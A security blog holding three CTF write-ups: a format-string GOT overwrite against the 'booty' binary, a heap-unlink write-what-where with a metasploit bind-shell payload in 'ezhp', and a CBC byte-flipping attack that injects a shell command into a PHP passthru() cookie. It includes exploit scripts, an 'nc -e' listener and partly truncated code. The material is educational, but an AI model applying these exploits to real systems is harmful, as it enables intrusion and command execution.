Tuesday, December 9, 2014

9447 CTF booty: Format String Challenge

Long time since my last blog! Anyways, this time during CTF 9447 I tried to resolve the booty challenge but did not have success on finding the vulnerability during the game. Thanks to barrebas blog I understood where the vulnerability was and then proceeded to complete it.

I am not going to explain how Format String works since it is fully documented everywhere, I highly recommend to read Alex Reece blog about this topic before moving forward.

Introducing the game

When running booty for the first time you are prompt to enter a pirate name for what looks like a Arm Wrestling game:

.-= Pirate Arm Wrestling =-.

Who will become the next PIRATE KING?
If ye want the power and glory for yourself then show your worth!
Face the other challengers in a mighty arm wrestle and prove your right to rule.

What be ye fearsome pirate name?

After entering the pirate name, you are prompted with one of three available fight status:

a) Beer Wench is looking exhausted!
b) Beer Wench starts to tense up.
c) Beer Wench begins to flex their muscles.

Where "Beer Wench" is the name of the opponent.

Every time a fight status is displayed you need to select an action to take:

Choose an action, [p]ush  [h]old  [r]est:

If the right actions are selected (push when exhausted, rest when tense up and hold when flexing their muscles) , eventually the pirate will win the game and below message will be displayed:

The game asks the end user to change his pirate name and start again, it also prints a stack address that can be helpful to defeat ASLR if needed:

                                               0xbfaea85f marks the spot of your treasure!

The vulnerability

The format string vulnerability exists in the vfprintf function printing the pirate name entered, there is no format (e.g. %s)  passed as parameter to the function and therefore can be manipulated by the end user:

However, if we try to enter a pirate name with the % character it will be removed by below function:

 But there are two bugs in above function:

a) Only the first percentage sign will be removed from the string entered, therefore if the pirate name is: %AAAA%p it will be changed to: 0AAAA%p. But because of the null char at the beginning, we cannot trigger the vulnerability yet. Here comes the second bug to the rescue.

b) Once we win the game, we have the chance to change the pirate name however, the memcpy function does not clean its buffer before reading the next pirate name and therefore we if we enter a single "B" the new name will end up being BAAAA%p

Let's replicate our assumption explain above, by entering %AAAA%p as the first pirate name and B as the second, and we get below result:

We confirmed our assumption and also at the bottom we can see a leak address 0x8048f40 when printing the pirate name, confirming the format string has been successfully executed.

Redirecting execution flow

From here on everything is fun, we have multiple options to gain code execution, one of the ways to exploit format string is by overwriting a key pointer to redirect the execution flow, for this, we need to gather some requirements:

a) Decide the pointer to overwrite: Always a good pointer candidate to overwrite can be taken from the relocations table where:

"relocations are entries in binaries that are left to be filled in later -- at link time by the toolchain linker or at runtime by the dynamic linker. A relocation in a binary is a descriptor which essentially says "determine the value of X, and put that value into the binary at offset Y"

Although with ASLR enabled, the base address of the functions will be different, the offsets at the relocation tables are always the same and therefore our exploit can be reliable. We can confirm this, let's list the relocations from booty:

#readelf -r booty 

Relocation section '.rel.dyn' at offset 0x3d8 contains 3 entries:
 Offset       Info           Type                              Sym.Value    Sym. Name
0804a0f4  00000706   R_386_GLOB_DAT    00000000      __gmon_start__
0804a1a0  00001105   R_386_COPY              0804a1a0      stdin
0804a1a4  00000f05    R_386_COPY              0804a1a4      stdout

Relocation section '.rel.plt' at offset 0x3f0 contains 14 entries:
 Offset         Info            Type                              Sym.Value  Sym. Name
0804a104    00000107   R_386_JUMP_SLOT   00000000   fflush
0804a108    00000207   R_386_JUMP_SLOT   00000000   memcpy
0804a10c    00000307   R_386_JUMP_SLOT   00000000   fclose
0804a110    00000407   R_386_JUMP_SLOT   00000000   time
0804a114    00000507   R_386_JUMP_SLOT   00000000   _IO_getc
0804a118    00000607   R_386_JUMP_SLOT   00000000   _IO_putc
0804a11c    00000707   R_386_JUMP_SLOT   00000000   __gmon_start__
0804a120    00000807   R_386_JUMP_SLOT   00000000   exit
0804a124    00000907   R_386_JUMP_SLOT   00000000   srand
0804a128    00000a07   R_386_JUMP_SLOT   00000000   __libc_start_main
0804a12c    00000b07   R_386_JUMP_SLOT   00000000   fopen
0804a130    00000c07   R_386_JUMP_SLOT   00000000   strncpy
0804a134    00000d07   R_386_JUMP_SLOT   00000000   rand
0804a138    00000e07   R_386_JUMP_SLOT   00000000   vfprintf

The Offsets are listed on the first column, let's focus on the last row related to vfprintf function, at offset 0x0804a138 there will be a pointer to vfprintf function which will be calculated at link or run time, below we can see that by running booty two times the offset contains two different pointers:

gdb$ x/x 0x0804a138
0x804a138: 0xb7614c10

gdb$ x/x 0x804a138
0x804a138: 0xb75c2c10

What we are going to do is to change the pointer at this offset 0x0804a138 so that as soon as vfprintf is called it will point to our desired address!!!

b) Now that we found the pointer to overwrite, now we need to decide where do we want to redirect the execution flow?  At offset 0x080487C0 we can see a function that opens a flag file  and prints its content out to the screen, this function cannot be reached directly by the program though, so we will force booty to jump here:

c) We have the relocation offset to manipulate, the destination address to redirect the flow but how do we actually fulfill this? I highly encourage you to read this excellent blog for detailed steps.

Overwritten relocation offset

First we need to place the address to be overwritten in the stack and calculate the argument number so that we can control it via %$hn later.

As explained in the Introducing the game section, in order to bypass the filter, we need to insert the first name as:


Assuming the first % will be changed to 0, once we win the game and are prompted to change the name, we entered: 0x3a giving us a final name as:


We are sending (in little endian format) the higher two bytes 0x0804a138 and lower two bytes 0x0804a13a to be overwritten later.

In order to test it,  you can run booty via socat as usual:

# socat tcp-listen:4444,fork exec:./booty

Then execute the exploit which must have a raw_input() instruction to give us a chance to attached gdb (full exploit at the end): #./exploit_booty.py

And finally in another window we run:

# ps -fea |grep booty
root      5021  2335  0 Dec08 pts/1    00:00:00 socat tcp-listen:4444,fork exec:./booty
root      6022  3313  0 Dec08 pts/3    00:00:01 vi exploit_booty.py
root      6942  3251  0 04:46 pts/2    00:00:00 /usr/bin/python ./exploit_booty.py
root      6943  5021  0 04:46 pts/1    00:00:00 socat tcp-listen:4444,fork exec:./booty
root      6944  6943  0 04:46 pts/1    00:00:00 ./booty

# gdb attach 6944

Before letting gdb to continue, let's set a breakpoint right before triggering the format string vuln at:

gdb$ br *0x08048a30
Breakpoint 1 at 0x8048a30

We let it run two times so that the two names can be entered:

gdb$ continue
gdb$ continue

Once the breakpoint is hit we print the stack content:

=> 0x8048a30: call   0x8048770
   0x8048a35:         mov    DWORD PTR [esp],0x80499e3
   0x8048a3c:         call   0x8048770
   0x8048a41:         pop    ecx
   0x8048a42:         pop    esi
   0x8048a43:         lea    esi,[esp+0x17]
   0x8048a47:         push   esi
   0x8048a48:         push   0x804957c

Breakpoint 1, 0x08048a30 in ?? ()
gdb$ x/64x $esp
0xbfa1ed30: 0xbfa1eda8 0x08048f40 0xbfa1ee58 0x08048796
0xbfa1ed40: 0xb76e24e0 0x080496e8 0xbfa1ed64 0x00a1eda0
0xbfa1ed50: 0xbfa1eda0 0x00000001 0xbfa1ede8 0x08048e51
0xbfa1ed60: 0xbfa1eda0 0x00000001 0xbfa1ee58 0x08048796
0xbfa1ed70: 0xb76e24e0 0x080499de 0xbfa1ed94 0x70a1ed88
0xbfa1ed80: 0xb75bce84 0xbfa1eda0 0x55555556 0x08048679
0xbfa1ed90: 0xbfa1eda0 0xbfa1ede8 0x08049ad0 0x00000000
0xbfa1eda0: 0x00000033 0x00000000 0x0804a13a 0x0804a138

If you do the math and count all the dwords in the stack skipping the first one since it is the return address, you will realize that the two addresses entered belong to the arguments 30th 0x0804a13a and 31st 0x0804a138.

Then the next step is to confirm we can change its content, so, if you remember we were planning at point b) above to filled this offset with the address: 0x080487C0, since we are going to overwrite only two bytes at a time we will split the target address into:

0804 = 2052 decimal
87C0 -> 0x87C0 -2052 = 32700 decimal

Here is where the specifier %n comes into play, below its man page definition:

The number of characters written so far is stored into the integer indicated by the int * (or variant) pointer argument. No argument is converted.

Let's see a practical example of %n:


int main()
  int val;
  printf("count this %n this does not count\n", &val);
  printf("val = %d\n", val);
  return 0;

# ./n
count this  this does not count
val = 11

What we just learned is that the specifier %n will stored at a provided address the number of characters written so far, that is the reason the string "this does not count" was not added to the final count. Also, we can manipulate argument number to use by %n which is the address to store the final count by using the dollar sign: $n, and last but not least we can also tell %n to only write the higher two bytes by using hn modifier. 

With all this features learned, we can come up with a request to overwrite the higher two bytes at address 0x0804a13a with 0x0804 assuming the target address is located at the argument 30th:

                                \x3a\xa1\x04\x08" + "%2048x%30$hn
\x3a\xa1\x04\x08  = Is the higher two bytes of the target address 
%2048x                = As mentioned above, we are trying to write 0x0804 = 2052 so 2048 + 4 bytes of the address give us the required amount to pass to %n
%30$hn                = We tell specifier n to uset the 30th argument (which points to the target address in the stack) and only write the higher two bytes.  

Let's test what we just learned by sending to booty the pirate name:

                                   "%\xa1\x04\x08" + "%2048x%30$hn"

And "\x3a" as the new name once we win the game.

Again we set a breakpoint at 0x08048a30 and once we hit the breakpoint we step into the function to trigger the vulnerability, before executing vfprintf call we print the value of our higher two bytes of the target address:


=> 0x8048785: call   0x8048570
      0x804878a: pop    eax
      0x804878b: push   DWORD PTR ds:0x804a1a4
      0x8048791: call   0x80484a0
      0x8048796: add    esp,0x1c
      0x8048799: ret    
      0x804879a: lea    esi,[esi+0x0]
      0x80487a0: sub    esp,0x14
0x08048785 in ?? ()
gdb$ x/x 0x0804a13a
0x804a13a: 0x0000b75d

Then we proceed to execute the vfprintf and print the content after:

=> 0x804878a: pop    eax
     0x804878b: push   DWORD PTR ds:0x804a1a4
     0x8048791: call   0x80484a0
     0x8048796: add    esp,0x1c
     0x8048799: ret    
     0x804879a: lea    esi,[esi+0x0]
     0x80487a0: sub    esp,0x14
     0x80487a3: push   0x8048f40
0x0804878a in ?? ()
gdb$ x/x 0x0804a13a
0x804a13a: 0x00000804

Voila!!! We can see that we have successfully changed the higher two bytes of the target address. The final step is to made the math for the lower two bytes remaining of the target address located at 0x0804a138 which is the 31st argument as we learned before, so the final pirate string name will be:

                   "%\xa1\x04\x08\x38\xa1\x04\x08" + "%2044x%30$hn%32700x%31$hn"

Two important changes to point out with respect to the previous request, here we are using the two higher and lower bytes of the target address and therefore 8 bytes are sent before the $hn parameter which lowers the size sent before from 2048 to 2044 to keep the final size of 2052, we can see that the second size is equal to 32700 why? Remember that the bytes to overwrite are: 0x87C0 

By doing the math, we already sent 2052 bytes before the second $hn so 0x87C0 - 2052 give us the remaining size equal to 32700.

Finally, by running the final exploit we can see that right after triggering the format string we have successfully overwritten the original pointer to vfprint to 0x080487C0 which is where the flag is printed out:

gdb$ x/x 0x0804a138
0x804a138: 0xb75ddc10   Before triggering the vulnerability
gdb$ ni
=> 0x804878a: pop    eax
     0x804878b: push   DWORD PTR ds:0x804a1a4
     0x8048791: call   0x80484a0
     0x8048796: add    esp,0x1c
     0x8048799: ret    
     0x804879a: lea    esi,[esi+0x0]
     0x80487a0: sub    esp,0x14
     0x80487a3: push   0x8048f40
0x0804878a in ?? ()
gdb$ x/x 0x0804a138
0x804a138: 0x080487c0     Relocation offset overwritten

So, if we keep stepping into the code as soon as a vfprintf call is made it will jump to our desired place:

=> 0x8048785: call   0x8048570 <vfprintf@plt>  Redirecting the flow here!!!
     0x804878a: pop    eax
     0x804878b: push   DWORD PTR ds:0x804a1a4
     0x8048791: call   0x80484a0
     0x8048796: add    esp,0x1c
     0x8048799: ret    
     0x804879a: lea    esi,[esi+0x0]
     0x80487a0: sub    esp,0x14
0x08048785 in ?? ()
gdb$ si
=> 0x8048570 : jmp    DWORD PTR ds:0x804a138
     0x8048576 : push   0x68
     0x804857b : jmp    0x8048490
     0x8048580: lea    ecx,[esp+0x4]
     0x8048584: and    esp,0xfffffff0
     0x8048587: xor    eax,eax
     0x8048589: push   DWORD PTR [ecx-0x4]
     0x804858c: push   ebp
0x08048570 in vfprintf@plt ()
gdb$ si
=> 0x80487c0: push   ebx
     0x80487c1: sub    esp,0x10
     0x80487c4: push   0x8049a60
     0x80487c9: push   0x8049861
     0x80487ce: call   0x8048540  Open FLAG!!!
     0x80487d3: add    esp,0x10
     0x80487d6: test   eax,eax
     0x80487d8: mov    ebx,eax
0x080487c0 in ?? ()

Hope you enjoy it!

Exploit source code:

#Author: Danux Mitnick
#Date: Dec 5 2014

from socket import *
from time import sleep

s.connect(('localhost', 4444))

#Attach gdb here.

print s.recv(1024)

cmd ="%\xa1\x04\x08\x38\xa1\x04\x08" + "%2044x%30$hn%32700x%31$hn"; #Overwritting vsprintf
cont = 0

while 1:

  data = s.recv(1024)

  print data

  if "LEVEL" in data:
      cmd = "h\n"
  if "exhausted" in data:
      cmd = "p\n"
  if "flex" in data:
      cmd = "h\n"
  if "tense" in data:
      cmd = "r\n"

  if "again" in data:
      cmd = "y\n"
  if "name" in data:
      cmd = "\x3a\n" 

  if ">" in data:
      if cmd:
          cmd = ""

Tuesday, April 15, 2014

PlaidCTF 2014 ezhp: Heap Overflow Challenge

This weekend I had the pleasure to participate in the CTF organized by PPP team, I have only two years playing and definitely the CTFs from these guys are the best, thanks!

As usual, the idea of this blog is a 101 lesson when dealing with this kind of challenges, from Debugger setup to remote shell execution.

I will describe a pwnable 200 called ezhp that I resolved, when dealing with pwnables normally you have two types: those easy to find the vulnerability but difficult to exploit it (the ones that you just sent multiple A's and get the segmentation fault write away) and the ones easy to exploit but hard or tricky to find the vulnerability.


So, let's start, by opening the challenge you were presented with below message:

The quote "Luckily when you travel back in time, you still get to use all your knowledge from the present", will make totally sense at the end of the blog. As usual, I am very bad with the hints so did not even read it.

So, we are dealing with a 32-bit ELF Linux binary, good! we can just fire up backtrack and run it, displaying below info:

Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

So, before doing any reversing, lets step into it with a Debugger to have a better understanding, I will explain two options for this, the first one is using IDA Debugger:

Press F9 in IDA and select "Remote Linux Debugger", then configure the process options, below mine:

The next step is to copy the your linux_server binary from "dbgsrv" folder in IDA to your backtrack machine and run it:

root@bt:~/IDA# ./linux_server
IDA Linux 32-bit remote debug server(ST) v1.17. Hex-Rays (c) 2004-2013
Listening on port #23946...

Set any breakpoint in IDA(F2) and click on Debugger->Start Process (F9). You are ready to start debugging and with the power of IDA to document everything as you go!

After a lot of debugging through all the options in the menu, I realized I was able to add notes with specific size and then write to them with a different size, causing a heap header overflow, I will explain this in a minute, I had certain experience dealing with heap headers overflow so kinda know where I was going. 

Note: A chunk in this context is a space allocated in the heap and has a similar structure like this:

struct chunk {
        int prev_size; 
        int size;
        struct chunk *fd;
        struct chunk *bk;

Above structure is stored in the chunk header, where *fd points to the next chunk and *bk to the previous one in a double-linked list.

Before going forward a fundamental knowledge must be known, when the heap allocates new chunks in memory, it decides where to put them based on the size requested, our goal is to request adjacent chunks so that a chunk filled up with more data than expected can overflow the next one, something like this:

By looking add the code of Option 3 to change a note, we can see that the size of the data to include in the note is not restricted and therefore can overflow the current chunk overwriting also the next one:

So, in order to overflow the header of next chunk I followed below steps:

  1. Option1 : Add note (ID=0 assigned)
    • Size=256
  2. Option2: Add note (ID=1 assigned)
    • Size=256
  3. Option3: to change a note
    • Please give me an id: 0
    • Please give me a size: 276
Important details of above steps, first, the size chosen equal to 256 is needed in order to make sure to use the whole space of the chunk and force the heap allocator to allocate a new one when adding the second note, if let's say, we would have chosen a size of 10, since too much space remaining in current chunk, a second note added would have not allocated a new chunk.
The second important point, the chunk header is 20 bytes long and is located right after the end of the previous one(if allocated with the right size), and therefore I need 256 bytes to get to the end of the written chunk plus 20 that will overwrite the header of the next one. So, after writing 276 A's to the note 1 and then trying to delete note 2 (which just got its header corrupted) I got a crash!
Program received signal SIGSEGV, Segmentation fault.
  EAX: 0x41414141  EBX: 0xB7FC7FF4  ECX: 0x00000001  EDX: 0x41414141  o d I t s z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xBFFFF478  ESP: 0xBFFFF468  EIP: 0x0804873B
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
=> 0x804873b: mov    DWORD PTR [eax+0x4],edx
   0x804873e: cmp    DWORD PTR [ebp-0x4],0x0
   0x8048742: je     0x804874d
   0x8048744: mov    eax,DWORD PTR [ebp-0x4]
   0x8048747: mov    edx,DWORD PTR [ebp-0x8]
   0x804874a: mov    DWORD PTR [eax+0x8],edx
   0x804874d: mov    eax,ds:0x804b060
   0x8048752: mov    edx,DWORD PTR [eax+0x4]
0x0804873b in ?? ()

So, we know we just overflowed the header of the next chunk but what info was there, for the sake of this exercise, we will focus on three components only: size of the chunk, *fd and *bk, which are the 12 last bytes of the header (4 bytes each), that means we can influence their values, will come back to this later.

After confirming I was able to overflow the chunk(heap) header, I thought I was dealing with a typical malloc/free heap exploit challenge like this, and believe me I spent some hours going that route. After failing all my attempts I realized I gotta reverse the binary to understand exactly how the heap allocator was working, and below my findings.

Option 1: Adding a note

Every time a new chunk is added (Option 1), the allocated address is stored in a buffer (I called chunk_addresses[]) with a hardcoded address at 0x0804A060, the content of this buffer looks like:

[0] -> Address of note(chunk) 1
[1] -> Address of note(chunk) 2
[2] -> Address of note(chunk) 3

Where the array index represents the ID of the note added.

Option 3: Change a note

If I want to add content to the note 2, I need to choose Option 3 and provide the Id = 1, then the allocator will go to index (ID) inside the chunk_addresses[] buffer, get the address and start writing the content supplied by the attacker, wait a second!!!!! If I find a way to put my own address inside that buffer I can write anything anywhere, well, anywhere where the memory is writable of course. Below the scenario we want to hit, the note 2 is pointing to a different address.

[0] -> Address note 1
[1] -> note 2
[2] -> Address of note 3

Forcing the deallocator to write data in any destination we want! Write down this, we will come back in a minute.

Option 2: remove a note

These allocated chunks are handled in a double-linked list, and therefore, anytime a chunk (node) is deleted a standard process takes place as described below:

In the image above the second note (chunk in the middle ID 1) is being deleted and therefore, the deallocator will do the next steps:

  1. Get the address where ID1->bk and ID1->fd are pointing to of the chunk being deleted.
  2. Since ID1->bk is pointing to previous chunk ID 0, go to that chunk and change the ID0->fd to point to chunk ID2.
  3. Since ID1->fd is pointing to the next chunk ID 2, go to that chunk and change the ID2->bk to point to chunk ID0.

Above steps can be seen inside Delete Option code:

Pay speciall attention on the step 1, the allocator will read the content of the pointers *bk and *fd from the chunk to be deleted, and as we saw, we can overwrite its values setting them with the destination addresses that we want! 

Written anything almost anywhere in memory

Now the next question is, what can we do with these findings? After a little bit of thinking, if we point ID2->bd to the address of the chunk_address[] buffer (see Option 3 section above), we can change its content and alter the list of allocated chunks, then we can call Option 3 to write our content to whichever address we just set. Below the scenario:

Create 3 notes, add content to note 2 and overflow it to alter headers of note 3 which will end up with below values:

*bk = 0x0804A060
*fd = 0x0804A070

Then call delete option which will end up with below chunk_addresses buffer[] located at 0x0804A060:
[0] -> Address note 1
[1] -> 0x0804A070
[2] -> Address of note 3

Then, we can call Option 3 to print the content of note 2 (index 1) and guess what? will write our data into the address pointing to 0x0804A070 ! 
Let's test if it works, and here the second way to debug the binary, when debugging with IDA, all he input entered at run time must be done via the Linux terminal which does not accept hexadecimal values so we need to create a script for that, but still we need to be able to debug the program, so, we will force the binary to listen into a socket  on port 444 with below command:

socat tcp-listen:4444,fork exec:./ezph

We can also use netcat to acomplish the same thing:

while true; do nc -vv -l -p 4444 -e ezph; done

Now we can just run our script and connect to port 4444 to send our hexadecimal input. 

s.connect(('', 4444))

But we still need to debug it, so, since we are using python we can pause the script with "raw_input" function:

raw_input('Attach process with gdb here')

 Then attach the process with gdb, set any breakpoint needed and let it continue:

>ps -fea|ezph
>gdb attach

Now that everything is ready, let's run the exploit and check the chunk_headers buffer:

gdb$ x/32x 804A070
0x804a070: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a080: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a090: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0a0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0b0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0c0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0d0: 0x42424242 0x42424242 0x42424242 0x42424242
0x804a0e0: 0x42424242 0x42424242 0x42424242 0x42424242

So, basically what just happened was, by deleting the note 3 (ID2), we altered the address of the note 2 (ID 1) inside the chunk_buffers[] array. and force it to point to 0x0804A070 as shown below:

Great! Now we can place our shellcode in memory! But wait! how can we execute it!

Here is where option 4 comes into play.

Code Execution

The option 4 is to print the content of a note by calling puts function, so, since we can write anything anywhere, what if we overwrite the whole content of puts function with our shellcode, then print the note 1 which should call our shellcode! So, let's find puts address in the binary:

readelf --relocs ezhp

Relocation section '.rel.dyn' at offset 0x348 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ff0  00000406 R_386_GLOB_DAT    00000000   __gmon_start__
0804a040  00000905 R_386_COPY        0804a040   stdout

Relocation section '.rel.plt' at offset 0x358 contains 8 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   read
0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush
0804a008  00000307 R_386_JUMP_SLOT   00000000   puts

We find it at 0x8004a008, just an small detail to keep in mind, this address is a pointer to a pointer, which means, the first 4 bytes of our controlled buffer (shellcode) must be a valid address, which is going to be 4 bytes ahead where our shellcode starts 0x8004a00C. Below would be the execution flow:

Print note -> [0x8004a008]-> [0x8004a00C]->

So, the last step is to generate our shellcode, we can use metasploit to do that:

>msfpayload linux/x86/shell_bind_tcp LPORT=8888 P

Connecting the dots

And finally, below is the sequence to get a remote shell:
  1. Option 1: Add a note
    • Size:256
  2. Option 1: Add a note
    • Size:256
  3. Option 1: Add a note
    • Size:256
  4. Option 3: Change a note
    • ID=1
    • Size:276
    • Data Entered to overflow next chunk (ID2)
  5. Option 2: Remove a note:
    • ID=2
  6. Option 3: Change a note
    • ID=1
    • Size:256
    • Inserting our shellcode
  7. Option 4: Print note
    1. ID=1

And..... viola!!!!! We just need to connect to port 8888 on remote host and cat the flag:


Hope you enjoy it as much as I did while exploiting it. 

You can find my exploit here.

Friday, September 6, 2013

CBC Byte Flipping Attack - 101 Approach

As usual, there are some explanations about this attack out there (see references at the end), but requires some knowledge to understand it properly, so, here I will describe step by step how to perform this attack.

Purpose of the Attack: To change a byte in the plaintext by corrupting a byte in the ciphertext.
To bypass filters by adding malicious chars like a single quote, or to elevate privileges by changing the ID of the user to Admin, or any other consequence of changing the plaintext expected by an Application.


First of all, let's start understanding how CBC (Cipher-block chaining) works. A detailed explanation can be found here:

But I will only explain what is needed to understand the attack.

Encryption process:

Plaintext: The data to be encrypted.
IV:  A block of bits that is used to randomize the encryption and hence to produce distinct ciphertexts even if the same plaintext is encrypted multiple times.
Key: Used by Symmetric Encryption Algorithms like AES, Blowfish, DES, Triple DES, etc.
Ciphertext: The data encrypted.

An important point here is that CBC works on fixed-length group of bits called a block. In this blog, we will use blocks of 16 bytes each.

Since I hate mathematical formulas, below is mine:

Ciphertext-0 = Encrypt(Plaintext XOR IV) - Just for the first block
Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1) - For second and remaining blocks.

Note: As you can see, the ciphertext of the previous block is used to generate the next one.

Decryption Process:

Plaintext-0 = Decrypt(Ciphertext) XOR IV - Just for the first block
Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1 - For second and remaining blocks.

Note: The Ciphertext-N-1 is used to generate the Plaintext of the next block, this is where Byte Flipping Attack comes into play. If we change one byte of the Ciphertext-N-1 then when XORing with the next Decrypted block we will get a different Plaintext! You got it? Do not worry, we will see a detailed example below. Meanwhile, below is a nice diagram explaining this attack:

Example:  CBC Blocks of 16 bytes.

Let's say we have this serialized plaintext:

a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

Our target is to change the number 6 at "s:6" to number "7". First thing we need to do is to split the plaintext into 16 bytes chunks:

Block 1:      a:2:{s:4:"name";
Block 2       s:6:"sdsdsd";s:8         <<<-----target div="" here="">
Block 3:      :"greeting";s:20:
Block 4:      "echo 'Hello sd
Block 5:      sdsd!'";}

So, our target char is located at block 2 which means, we need to change the ciphertext of Block 1 to change the plaintext of the second block.
A rule of thumb is that the byte you change in a ciphertext will ONLY affect a byte at same offset of next plaintext. Since our target is at offset 2:

[0] = s
[1] = :
[2] = 6

Therefore, we need to change the byte at offset 2 of the first ciphertext block. As you can see in the code below, at line 2 we get the ciphertext of the whole data, then at line 3 we change the byte of block 1 at offset 2 and finally we call the decryption function.

1. $v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
2. $enc = @encrypt($v);
3. $enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
4. $b = @decrypt($enc);

After running this code we are able to change number 6 to 7:

But, how did we change the byte to the value we wanted at line 3?

Based on the decryption process described above,  we know that A = Decrypt(Ciphertext) is XOR with B = Ciphertext-N-1 to finally get C = 6.  Which is equal to:


So, here the only value we do not know is A (block cipher decryption), so, with XOR we can easily get that value by doing: 

A =  B XOR C

And finally, A XOR B XOR C is equal to 0. With this formula, we can set our own value by adding it at the end of the XOR calculation, like:

A XOR B XOR C XOR "7" will give us 7 in the plaintext at offset 2 on the second block.

Below is the PHP source code so that you can replicate it:

[Code Starts Here]

define('MY_AES_KEY', "abcdef0123456789");

function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = "1234567891234567";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);

define('MY_MAC_LEN', 40);

function encrypt($data) {
    return aes($data, true);

function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    return $data;
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v);
$enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
echo "Plaintext AFTER attack : $b\n";

[Code Ends Here]

Try changing the char from "7" to "A" or something else to see how it works.

Exercise 2:

Now that we understood how this attack works, let's do a more real-world exercise. Some weeks ago took place the CTF Competition hosted by the team Eindbazen, there was a Web 400 challenge called "Moo!", You can see all the details of this task at the end of the blog in the reference 2 and 3, here I am just going to describe the final steps of breaking CBC.

We were provided with the source code for analysis, below is the chunk important for this exercise:

Basically, you will submit any text in the POST parameter "name" and the App will respond with a Hello message concatenating the text submitted at the end, but two things happens before printing back the message:

1. The POST "name" parameter is filtered out by PHP escapeshellarg() function (which mainly will escape single quotes to prevent injecting malicious commands), then store it in the Array->greeting field to finally creating a cookie encrypted with this value.
2. Then the content of Array->greeting field is executed via PHP passthru() function, which is used to execute System commands.
3. Finally, anytime the page is accessed, if the cookie already exist, it will be decrypted and then its content executed via passthru() function. Here is where our CBC attack will give us a different plaintext as explained in previous section.

So, I tried to inject below string in the POST parameter "name":

name = 'X' + ';cat *;#a'

I added the char "X" which is the one to be replaced with a single quote via CBC byte flipping attack, then the command to be executed ;cat *; and finally an "#" which is interpreted as a comment by the shell so that we do not get problems with the last single quote inserted by escapeshellarg() function and therefore our command gets executed successfully.

After calculating the exact offset of previous ciphertext block byte to be changed (offset 51), I executed below code to inject a single quote:

pos = 51;
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]

I am altering the cookie since it has the whole ciphertext. Finally, I got below result:

First, we can see in yellow that our "X" was successfully change to a single quote in the second block, but since the first block was altered, it got garbage inserted (in green) which causes an error when trying to unserialize() the data (in red), and therefore, the app did not even try to execute our injection.

How to fix it?

So, basically, we need to play with our injected data until we get garbage in the first block that does not cause any problem during unserialization. A way to get around it is by padding our malicious command with alphabetic chars. Therefore we come up with this injection string padding with multiple 'z' before and after:

name = 'z'*17 + 'X' + ';cat *;#' + 'z' *16

After sending above string, voila!!!, unserialize() does not complain with the garbage received and our shell command is executed successfully!!!!

If you want to replicate this exercise, below in the Appendix section is the PHP code running on the server side and the python script (little bit modified from code provided by Daniel from hardc0de.ru, thanks!!!) to perform the exploitation.

Finally, I want to thank the guys of the references mentioned below for writing those excellent blogs.


1. CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto 
2. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
3. http://hardc0de.ru/2013/08/04/ebctf-web400/

Enjoy it!


PHP code:


define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );

function aes($data, $encrypt) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
    $iv = "1234567891234567";
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);

define('MY_MAC_LEN', 40);

function hmac($data) {
    return hash_hmac('sha1', data, MY_HMAC_KEY);

function encrypt($data) {
    return aes($data . hmac($data), true);

function decrypt($data) {
    $data = rtrim(aes($data, false), "\0");
    $mac = substr($data, -MY_MAC_LEN);
    $data = substr($data, 0, -MY_MAC_LEN);
    return hmac($data) === $mac ? $data : null;
$settings = array();
if (@$_COOKIE['settings']) {
        echo @decrypt(base64_decode($_COOKIE['settings']));
        $settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
    $settings = array(
            'name' => $_POST['name'],
            'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
    setcookie('settings', base64_encode(@encrypt(serialize($settings))));
    #setcookie('settings', serialize($settings));
$d = array();
if (@$settings['greeting']) {
} else {
    echo "What is your name?
    echo "input name='name' type='text'";
    echo "input name='submit' type='submit' ";



import requests
import sys
import urllib
from base64 import b64decode as dec
from base64 import b64encode as enc

url = ''

def Test(x):
    t = "echo 'Hello %s!'" % x
    s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
